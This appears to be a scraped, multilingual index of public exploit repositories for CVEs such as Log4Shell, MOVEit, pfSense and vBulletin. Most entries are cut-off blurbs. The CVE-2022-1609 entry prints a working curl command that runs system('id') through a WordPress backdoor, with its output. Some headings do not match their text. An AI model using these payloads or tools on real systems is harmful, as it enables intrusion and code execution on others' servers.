CVE-2021-44228

CVE-2021-44228 log4shell POC Strumento di scansione log4j Questo strumento ti aiuterà a identificare la vulnerabilità di esecuzione remota di codice log4j sui tuoi sistemi. Requisiti Dovrai installare httpx, subfinder, assetfinder, curl e amass per eseguire lo script bash. Installazione 1. Clona...

CVE-2019-17571

CVE-2019-17571/Apache Log4j 1.2.X presenta una vulnerabilità di esecuzione remota di codice tramite deserializzazione Link di riferimento per l'avviso di vulnerabilità: https://mp.weixin.qq.com/s/okU2y0izfnKXXtXG3EfLkQ 1. Descrizione della vulnerabilità Apache Log4j è uno strumento di...

CVE-2013-3214

CVE-2013-3214 vTiger 5.4.0 Caricamento arbitrario di file per esecuzione di codice remoto...

CVE-2026-5706

Silicon Labs Bluetooth Mesh SDK version 6.1.4 and earlier is affected by a buffer overflow when processing malformed extended advertisements . The out-of-bounds write corrupts the stack, potentially enabling remote code execution . Exploitation requires the malicious message to originate from a d...

CVE-2026-5706 Buffer overflow in Bluetooth Mesh SDK when handling extended advertisements

In Bluetooth Mesh SDK 6.1.4 and earlier, malformed extended advertisements can trigger out-of-bounds writes leading to stack corruption and remote code execution. These messages must come from a device that has already joined the network. Only provisioners supporting extended advertisements may b...

CVE-2025-48827

CVE-2025-48827 - Exploit di Bypass dell'Autenticazione di vBulletin Panoramica Questo repository contiene un exploit proof-of-concept per CVE-2025-48827, una vulnerabilità critica di bypass dell'autenticazione che colpisce vBulletin 5.0.0–5.7.5 e 6.0.0–6.0.3 quando eseguito su PHP 8.1 o successiv...

CVE-2022-47966

CVE-2022-47966 ManageEngine RCE 2022 Dieses Repository ist Teil des hgrab-framework Installation Installieren Sie die App auf dem Server root@kitploit: user@domain: git clone https://github.com/sh4den/CVE-2022-47966.git user@domain: cd ./CVE-2022-47966/ user@domain: python3 main.py Die Liste muss...

CVE-2022-36804

CVE-2022-36804 Bitbucket RCE 2022 Dieses Repository ist Teil des hgrab-framework dork title: "Public Repositories - Bitbucket" Betroffenes Produkt Bitbucket Server and Data Center 7.6 vor 7.6.17 Bitbucket Server and Data Center 7.17 vor 7.17.10 Bitbucket Server and Data Center 7.21 vor 7.21.4...

CVE-2022-31814

Download CVE-2022-31814 Dieses Skript nutzt eine Schwachstelle in pfSense aus, um eine Shell hochzuladen, einen Befehl auszuführen und die Shell anschließend zu löschen. Anforderungen Python 3.x requests-Bibliothek Installation 1. Klonen Sie das Repository oder laden Sie das Skript herunter. 2...

CVE-2022-26265

CVE-2022-26265 Contao CMS RCE Dieses Repository ist Teil des hgrab-framework Betroffenes Produkt Contao CMS v1.5.0 Installation Installiere die App auf dem Server root@kitploit: user@domain: git clone https://github.com/sh4den/CVE-2022-26265.git user@domain: cd ./CVE-2022-26265/ user@domain:...

CVE-2023-34362

CVE-2023-34362: MOVEit Transfer RCE non autenticata Per una descrizione tecnica completa della vulnerabilità e dello sfruttamento, si prega di leggere la nostra Analisi di AttackerKB. Utilizzo root@kitploit: ruby CVE-2023-34362.rb Nota: il gadget di deserializzazione è configurato per eseguire...

CVE-2022-24086-CVE-2022-24087

CVE-2022-24086-CVE-2022-24087 Il post del blog che ho scritto sulla vulnerabilità RCE di Magento e Adobe Commerce CVE-2022-24086&CVE-2022-24087 per il compito della Picus Cyber Talent Academy si può trovare in CVE-2022-24086&CVE-2022-24087.pdf...

gxdlmsdirector-cve

Molteplici vulnerabilità in Gurux GXDLMS Director – esecuzione di codice remota Gurux GXDLMS Director è un programma Windows open-source per interagire con i contatori di energia tramite l'uso del protocollo DLMS/COSEM. Il software dispone di una funzionalità di aggiornamento remoto per le DLL...

cve-2019-14514

ID CVE : CVE-2019-14514 Nome del prodotto o dei prodotti interessati e versioni : Microvirt MEmu tutte le versioni precedenti alla 7.0.2 Tipo di problema : CWE-78: Neutralizzazione impropria di elementi speciali usati in un comando del sistema operativo 'Iniezione di comandi del sistema operativo...

CVE-2022-22954

CVE-2022-22954 PoC VMware Workspace ONE Access e Identity Manager RCE tramite SSTI. CVE-2022-22954 - PoC SSTI Utilizzo: root@kitploit: CVE-2022-22954.py -h -m SETMODE -i IP -c CMD optional arguments: -h, --help show this help message and exit -m SETMODE, --mode SETMODE Available modes: shodan |...

Havoc-C2-SSRF-to-RCE

Havoc-C2-SSRF-to-RCE Dies ist eine modifizierte Version des CVE-2024-41570-SSRF-PoCs von @chebuya, kombiniert mit dem Auth-RCE-Exploit von @hyperreality. Dieser Exploit führt remote Code auf einem Zielsystem aus, bedingt durch mehrere Schwachstellen im Havoc C2 Framework...

CVE-2016-2098-PoC

CVE-2016-10033-PoC Escrevi isto para o PentesterLab Se você é do PentesterLab, não trapaceie, é muito melhor aprender. Espero que seja útil para alguém, senão para mim no futuro : Tem shell interativo, coisas legais de argparse também. Uso root@kitploit: usage: script.py -h --url URL --param PARA...

CVE-2025-20029-simulation

🔐 Simulazione di Attacco Ripetibile – CVE-2025-20029 ⚠️ Questo repository simula CVE-2025-20029 in un ambiente sicuro e controllato. Non interagisce con sistemi F5 BIG-IP reali né sfrutta alcun servizio di produzione. L'obiettivo è educativo: studiare il pattern della vulnerabilità e testare i...

CVE-2019-0708-EXPloit-3389

CVE-2019-0708-EXPloit-3389 RemotedesktopRDP-Dienst RemotecodeausführungsschwachstelleCVE-2019-0708...

CVE-2022-1609

CVE-2022-1609 CVE-2022-1609 backdoor WordPress Weblizar curl -s -d 'blowfish=1' -d "blowf=system'id';" 'http://localhost:8888/wp-json/am-member/license' uid=33www-data gid=33www-data groups=33www-data...